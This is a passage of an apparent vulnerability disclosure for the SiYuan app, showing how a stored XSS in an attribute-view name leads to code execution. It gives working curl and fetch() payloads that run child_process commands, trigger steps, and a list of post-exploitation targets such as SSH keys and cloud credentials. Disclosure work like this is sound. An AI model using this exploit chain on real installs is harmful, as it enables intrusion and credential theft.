Details
- Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's
data-node-idin DevTools (Ctrl+Shift+I). Set:
DOC_ID=<root-block-id-of-the-doc-containing-the-AV>
Step B — Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.
curl -s -X POST $API/api/transactions \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{
"session": "x",
"app": "siyuan",
"transactions": [{
"doOperations": [{
"action": "setAttrViewName",
"id": "$AV_ID",
"data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
}],
"undoOperations": []
}]
}
EOF
Expected response:
{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}
Step C — Verify the unescaped storage
python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"
Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):
<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">
Step D — Trigger
In the SiYuan desktop client:
- Switch away from the doc that contains the AV (open another doc, or close the tab).
- Re-open the doc containing the AV (
$DOC_ID). - The AV body header is rendered via
genTabHeaderHTML→outerHTMLatapp/src/protyle/render/av/render.ts:596. The browser parses the<img>tag, fails to loadsrc=x, and firesonerror. - Calculator (or `xcalc` / `open -a Calculator`) launches.
If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():
// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
session: 'x', app: 'siyuan',
transactions: [{ doOperations: [{
action: 'setAttrViewName',
id: '<av-id-discovered-via-prior-recon-fetches>',
data: `<img src=x onerror="require('child_process').exec('xcalc')">`
}] }]
})
});
The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared `.sy.zip` imports, sync replication from a co-author's compromised device.
Cleanup
# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json
# Restart SiYuan to clear in-memory state
Impact
- RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
- Persistent — payload survives restart, syncs across devices, rides in
.sy.zipexports and Bazaar templates. - Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
- After RCE: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json— kernel API token + AccessAuthCode hash), persistence (.bashrc/ Startup folder / LaunchAgent), cloud-account pivot. - Attack vectors: browser extensions (
chrome-extension://Origin allowlisted); shared.sy.zipfiles; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.